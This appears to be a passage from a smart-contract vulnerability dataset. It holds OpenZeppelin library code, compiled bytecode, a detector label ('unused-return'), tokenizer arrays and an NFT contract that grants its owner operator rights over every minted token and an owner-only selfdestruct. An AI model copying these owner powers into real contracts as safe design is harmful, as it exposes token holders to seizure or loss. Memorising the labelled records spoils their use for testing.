= target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122096c4d9ace75b8354101df25a29d594be60d4fb746ac250a086016d4480bebdbf64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2692, 2278, 2549, 2094, 23833, 2497, 2692, 2063, 20842, 2575, 2620, 2063, 2581, 2683, 2278, 2487, 2094, 22025, 2063, 2575, 4783, 28311, 2094, 2475, 9468, 2581, 24594, 10732, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 8840, 5304, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,164
0x9651101ceC3e4d3FF9331C674bf485a75208D47f
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "./nf-token-enumerable.sol"; import "./nf-token-metadata.sol"; import "./owned.sol"; import "./erc2981-per-token-royalties.sol"; contract StopTheWarOnDrugs is NFTokenEnumerable, NFTokenMetadata, ///Owned, ERC2981PerTokenRoyalties { /** * @dev error when an NFT is attempted to be minted after the max * supply of NFTs has been already reached. */ string constant MAX_TOKENS_MINTED = "0401"; /** * @dev error when the message for an NFT is trying to be set afet * it has been already set. */ string constant MESSAGE_ALREADY_SET = "0402"; /** * @dev The message doesn't comply with the size restrictions */ string constant NOT_VALID_MSG = "0403"; /** * @dev Can't pass 0 as value for the argument */ string constant ZERO_VALUE = "0404"; /** * @dev The maximum amount of NFTs that can be minted in this collection */ uint16 constant MAX_TOKENS = 904; /** * @dev Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` * which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` */ bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; /** * @dev Mapping from NFT ID to message. */ mapping (uint256 => string) private idToMsg; constructor(string memory _name, string memory _symbol){ isOwned(); nftName = _name; nftSymbol = _symbol; } /** * @dev Mints a new NFT. * @notice an approveForAll is given to the owner of the contract. * This is due to the fact that the marketplae of this project will * own this contract. Therefore, the NFTs will be transactable in * the marketplace by default without any extra step from the user. * @param _to The address that will own the minted NFT. * @param _tokenId of the NFT to be minted by the msg.sender. * @param royaltyRecipient the address that will be entitled for the royalties. * @param royaltyValue the percentage (from 0 - 10000) of the royalties * @notice royaltyValue is amplified 100 times to be able to write a percentage * with 2 decimals of precision. Therefore, 1 => 0.01%; 100 => 1%; 10000 => 100% * @notice the URI is build from the tokenId since it is the SHA2-256 of the * URI content in IPFS. */ function mint(address _to, uint256 _tokenId, address royaltyRecipient, uint256 royaltyValue) external onlyOwner { _mint(_to, _tokenId); //uri setup string memory _uri = getURI(_tokenId); idToUri[_tokenId] = _uri; //royalties setup if (royaltyValue > 0) { _setTokenRoyalty(_tokenId, royaltyRecipient, royaltyValue); } //approve marketplace if(!ownerToOperators[_to][owner]){ ownerToOperators[_to][owner] = true; } } /** * @dev Mints a new NFT. * @param _to The address that will own the minted NFT. * @param _tokenId of the NFT to be minted by the msg.sender. */ function _mint( address _to, uint256 _tokenId ) internal override (NFTokenEnumerable, NFToken){ require( tokens.length < MAX_TOKENS, MAX_TOKENS_MINTED ); super._mint(_to, _tokenId); } /** * @dev Assignes a new NFT to an address. * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @param _to Address to wich we want to add the NFT. * @param _tokenId Which NFT we want to add. */ function _addNFToken( address _to, uint256 _tokenId ) internal override (NFTokenEnumerable, NFToken){ super._addNFToken(_to, _tokenId); } function addNFToken(address _to, uint256 _tokenId) internal { _addNFToken(_to, _tokenId); } /** * @dev Burns a NFT. * @notice This is an internal function which should be called from user-implemented external * burn function. Its purpose is to show and properly initialize data structures when using this * implementation. Also, note that this burn implementation allows the minter to re-mint a burned * NFT. * @param _tokenId ID of the NFT to be burned. */ function _burn( uint256 _tokenId ) internal override (NFTokenEnumerable, NFTokenMetadata) { super._burn(_tokenId); } function burn(uint256 _tokenId ) public onlyOwner { //clearing the uri idToUri[_tokenId] = ""; //clearing the royalties _setTokenRoyalty(_tokenId, address(0), 0); //burning the token for good _burn( _tokenId); } /** * @dev Helper function that gets NFT count of owner. This is needed for overriding in enumerable * extension to remove double storage(gas optimization) of owner nft count. * @param _owner Address for whom to query the count. * @return Number of _owner NFTs. */ function _getOwnerNFTCount( address _owner ) internal override(NFTokenEnumerable, NFToken) view returns (uint256) { return super._getOwnerNFTCount(_owner); } function getOwnerNFTCount( address _owner ) public view returns (uint256) { return _getOwnerNFTCount(_owner); } /** * @dev Removes a NFT from an address. * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @param _from Address from wich we want to remove the NFT. * @param _tokenId Which NFT we want to remove. */ function _removeNFToken( address _from, uint256 _tokenId ) internal override (NFTokenEnumerable, NFToken) { super._removeNFToken(_from, _tokenId); } function removeNFToken(address _from, uint256 _tokenId) internal { _removeNFToken(_from, _tokenId); } /** * @dev A custom message given for the first NFT buyer. * @param _tokenId Id for which we want the message. * @return Message of _tokenId. */ function tokenMessage( uint256 _tokenId ) external view validNFToken(_tokenId) returns (string memory) { return idToMsg[_tokenId]; } /** * @dev Sets a custom message for the NFT with _tokenId. * @notice only the owner of the NFT can do this. Not even approved or * operators can execute this function. * @param _tokenId Id for which we want the message. * @param _msg the custom message. */ function setTokenMessage( uint256 _tokenId, string memory _msg ) external validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(_msgSender() == tokenOwner, NOT_OWNER); require(bytes(idToMsg[_tokenId]).length == 0, MESSAGE_ALREADY_SET); bool valid_msg = validateMsg(_msg); require(valid_msg, NOT_VALID_MSG); idToMsg[_tokenId] = _msg; } /** * @dev Check if the message string has a valid length * @param _msg the custom message. */ function validateMsg(string memory _msg) public pure returns (bool){ bytes memory b = bytes(_msg); if(b.length < 1) return false; if(b.length > 300) return false; // Cannot be longer than 300 characters return true; } /** * @dev returns the list of NFTs owned by certain address. * @param _address Id for which we want the message. */ function getNFTsByAddress( address _address ) view external returns (uint256[] memory) { return ownerToIds[_address]; } /** * @dev Builds and return the URL string from the tokenId. * @notice the tokenId is the SHA2-256 of the URI content in IPFS. * This ensures the complete authenticity of the token minted. The URL is * therefore an IPFS URL which follows the pattern: * ipfs://<CID> * And the CID can be constructed as follows: * CID = F01701220<ID> * F signals that the CID is in hexadecimal format. 01 means CIDv1. 70 signals * dag-pg link-data coding used. 12 references the hashing algorith SHA2-256. * 20 is the length in bytes of the hash. In decimal, 32 bytes as specified * in the SHA2-256 protocol. Finally, <ID> is the tokenId (the hash). * @param _tokenId of the NFT (the SHA2-256 of the URI content). */ function getURI(uint _tokenId) internal pure returns(string memory){ string memory _hex = uintToHexStr(_tokenId); string memory prefix = "ipfs://F01701220"; string memory result = string(abi.encodePacked(prefix,_hex )); return result; } /** * @dev Converts a uint into a hex string of 64 characters. Throws if 0 is passed. * @notice that the returned string doesn't prepend the usual "0x". * @param _uint number to convert to string. */ function uintToHexStr(uint _uint) internal pure returns (string memory) { require(_uint != 0, ZERO_VALUE); bytes memory byteStr = new bytes(64); for (uint j = 0; j < 64 ;j++){ uint curr = (_uint & 15); //mask that allows us to filter only the last 4 bits (last character) byteStr[63-j] = curr > 9 ? bytes1( uint8(55) + uint8(curr) ) : bytes1( uint8(48) + uint8(curr) ); // 55 = 65 - 10 _uint = _uint >> 4; } return string(byteStr); } /** * @dev Destroys the contract * @notice that, due to the danger that the call of this contract poses, it is required * to pass a specific integer value to effectively call this method. * @param security_value number to pass security restriction (192837). */ function seflDestruct(uint security_value) external onlyOwner { require(security_value == 192837); //this is just to make sure that this method was not called by accident selfdestruct(payable(owner)); } /** * @dev returns boolean representing the existance of an NFT * @param _tokenId of the NFT to look up. */ function exists(uint _tokenId) external view returns (bool) { if( idToOwner[_tokenId] == address(0)){ return false; }else{ return true; } } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c806370a082311161010f578063b88d4fde116100a2578063e4b7baeb11610071578063e4b7baeb146105db578063e985e9c51461060b578063f2fde38b1461063b578063f3fe3bc314610657576101e5565b8063b88d4fde14610543578063bd7f4c8d1461055f578063c2af674f1461058f578063c87b56dd146105ab576101e5565b8063894b5b3c116100de578063894b5b3c146104bb5780638da5cb5b146104eb57806395d89b4114610509578063a22cb46514610527576101e5565b806370a08231146104335780637ff0bf0714610463578063860d248a1461047f578063893d20e81461049d576101e5565b80632a55205a1161018757806342966c681161015657806342966c68146103875780634f558e79146103a35780634f6ccce7146103d35780636352211e14610403576101e5565b80632a55205a146102ee5780632f745c591461031f5780633c173a4f1461034f57806342842e0e1461036b576101e5565b8063095ea7b3116101c3578063095ea7b31461026857806318160ddd146102845780631dadae8e146102a257806323b872dd146102d2576101e5565b806301ffc9a7146101ea57806306fdde031461021a578063081812fc14610238575b600080fd5b61020460048036038101906101ff91906144eb565b610675565b60405161021191906149b4565b60405180910390f35b6102226106dc565b60405161022f91906149cf565b60405180910390f35b610252600480360381019061024d919061457e565b61076e565b60405161025f919061488a565b60405180910390f35b610282600480360381019061027d919061444c565b610889565b005b61028c610c73565b6040516102999190614a31565b60405180910390f35b6102bc60048036038101906102b791906142dc565b610c80565b6040516102c99190614992565b60405180910390f35b6102ec60048036038101906102e79190614341565b610d17565b005b610308600480360381019061030391906145fb565b611177565b604051610316929190614969565b60405180910390f35b6103396004803603810190610334919061444c565b61122a565b6040516103469190614a31565b60405180910390f35b61036960048036038101906103649190614488565b611373565b005b61038560048036038101906103809190614341565b61161f565b005b6103a1600480360381019061039c919061457e565b61163f565b005b6103bd60048036038101906103b8919061457e565b611777565b6040516103ca91906149b4565b60405180910390f35b6103ed60048036038101906103e8919061457e565b6117f3565b6040516103fa9190614a31565b60405180910390f35b61041d6004803603810190610418919061457e565b6118c1565b60405161042a919061488a565b60405180910390f35b61044d600480360381019061044891906142dc565b6119a7565b60405161045a9190614a31565b60405180910390f35b61047d6004803603810190610478919061457e565b611a61565b005b610487611b94565b60405161049491906149cf565b60405180910390f35b6104a5611bcd565b6040516104b2919061488a565b60405180910390f35b6104d560048036038101906104d0919061453d565b611bf7565b6040516104e291906149b4565b60405180910390f35b6104f3611c31565b604051610500919061488a565b60405180910390f35b610511611c57565b60405161051e91906149cf565b60405180910390f35b610541600480360381019061053c9190614410565b611ce9565b005b61055d60048036038101906105589190614390565b611de6565b005b610579600480360381019061057491906142dc565b611e3d565b6040516105869190614a31565b60405180910390f35b6105a960048036038101906105a491906145a7565b611e4f565b005b6105c560048036038101906105c0919061457e565b612162565b6040516105d291906149cf565b60405180910390f35b6105f560048036038101906105f0919061457e565b6122e5565b60405161060291906149cf565b60405180910390f35b61062560048036038101906106209190614305565b612468565b60405161063291906149b4565b60405180910390f35b610655600480360381019061065091906142dc565b6124fc565b005b61065f61274e565b60405161066c91906149cf565b60405180910390f35b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b6060600a80546106eb90614ce2565b80601f016020809104026020016040519081016040528092919081815260200182805461071790614ce2565b80156107645780601f1061073957610100808354040283529160200191610764565b820191906000526020600020905b81548152906001019060200180831161074757829003601f168201915b5050505050905090565b600081600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f30333032000000000000000000000000000000000000000000000000000000008152509061084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084391906149cf565b60405180910390fd5b506003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050919050565b8060006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506108ca612787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614806109895750600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6040518060400160405280600481526020017f303330330000000000000000000000000000000000000000000000000000000081525090610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f791906149cf565b60405180910390fd5b5082600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330320000000000000000000000000000000000000000000000000000000081525090610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad491906149cf565b60405180910390fd5b5060006002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330380000000000000000000000000000000000000000000000000000000081525090610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb491906149cf565b60405180910390fd5b50856003600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050505050565b6000600680549050905090565b6060600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610d0b57602002820191906000526020600020905b815481526020019060010190808311610cf7575b50505050509050919050565b8060006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610d58612787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480610df65750610d94612787565b73ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80610e875750600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6040518060400160405280600481526020017f303330340000000000000000000000000000000000000000000000000000000081525090610efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef591906149cf565b60405180910390fd5b5082600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330320000000000000000000000000000000000000000000000000000000081525090610fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd291906149cf565b60405180910390fd5b5060006002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600481526020017f3033303700000000000000000000000000000000000000000000000000000000815250906110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b191906149cf565b60405180910390fd5b50600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330310000000000000000000000000000000000000000000000000000000081525090611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a91906149cf565b60405180910390fd5b5061116e868661278f565b50505050505050565b6000806000600d60008681526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481525050905080600001516127108260200151866112149190614b91565b61121e9190614b60565b92509250509250929050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905082106040518060400160405280600481526020017f3032303100000000000000000000000000000000000000000000000000000000815250906112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112df91906149cf565b60405180910390fd5b50600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611360577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90614a11565b60405180910390fd5b7f2d5a82cbc34270500c60b0532ca36cd4716c295bf0351b25835351664a3125bf600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051611454919061493b565b60405180910390a161146684846129ac565b600061147184612a40565b905080600c6000868152602001908152602001600020908051906020019061149a9291906140de565b5060008211156114b0576114af848484612aba565b5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611618576001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050505050565b61163a83838360405180602001604052806000815250612b96565b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c690614a11565b60405180910390fd5b7f2d5a82cbc34270500c60b0532ca36cd4716c295bf0351b25835351664a3125bf600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051611720919061493b565b60405180910390a160405180602001604052806000815250600c6000838152602001908152602001600020908051906020019061175e9291906140de565b5061176b81600080612aba565b61177481613172565b50565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117e957600090506117ee565b600190505b919050565b600060068054905082106040518060400160405280600481526020017f303230310000000000000000000000000000000000000000000000000000000081525090611874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186b91906149cf565b60405180910390fd5b50600682815481106118af577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f3033303200000000000000000000000000000000000000000000000000000000815250906119a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199891906149cf565b60405180910390fd5b50919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330310000000000000000000000000000000000000000000000000000000081525090611a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4791906149cf565b60405180910390fd5b50611a5a8261317e565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae890614a11565b60405180910390fd5b7f2d5a82cbc34270500c60b0532ca36cd4716c295bf0351b25835351664a3125bf600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051611b42919061493b565b60405180910390a16202f1458114611b5957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6040518060400160405280600481526020017f303130320000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080829050600181511015611c11576000915050611c2c565b61012c81511115611c26576000915050611c2c565b60019150505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600b8054611c6690614ce2565b80601f0160208091040260200160405190810160405280929190818152602001828054611c9290614ce2565b8015611cdf5780601f10611cb457610100808354040283529160200191611cdf565b820191906000526020600020905b815481529060010190602001808311611cc257829003601f168201915b5050505050905090565b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611dda91906149b4565b60405180910390a35050565b611e3685858585858080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050612b96565b5050505050565b6000611e488261317e565b9050919050565b81600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330320000000000000000000000000000000000000000000000000000000081525090611f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2291906149cf565b60405180910390fd5b5060006002600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff16611f83612787565b73ffffffffffffffffffffffffffffffffffffffff16146040518060400160405280600481526020017f303330370000000000000000000000000000000000000000000000000000000081525090612011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200891906149cf565b60405180910390fd5b506000600e6000868152602001908152602001600020805461203290614ce2565b9050146040518060400160405280600481526020017f3034303200000000000000000000000000000000000000000000000000000000815250906120ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a391906149cf565b60405180910390fd5b5060006120b884611bf7565b9050806040518060400160405280600481526020017f303430330000000000000000000000000000000000000000000000000000000081525090612132576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212991906149cf565b60405180910390fd5b5083600e6000878152602001908152602001600020908051906020019061215a9291906140de565b505050505050565b606081600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f303330320000000000000000000000000000000000000000000000000000000081525090612240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223791906149cf565b60405180910390fd5b50600c6000848152602001908152602001600020805461225f90614ce2565b80601f016020809104026020016040519081016040528092919081815260200182805461228b90614ce2565b80156122d85780601f106122ad576101008083540402835291602001916122d8565b820191906000526020600020905b8154815290600101906020018083116122bb57829003601f168201915b5050505050915050919050565b606081600073ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600481526020017f3033303200000000000000000000000000000000000000000000000000000000815250906123c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ba91906149cf565b60405180910390fd5b50600e600084815260200190815260200160002080546123e290614ce2565b80601f016020809104026020016040519081016040528092919081815260200182805461240e90614ce2565b801561245b5780601f106124305761010080835404028352916020019161245b565b820191906000526020600020905b81548152906001019060200180831161243e57829003601f168201915b5050505050915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffff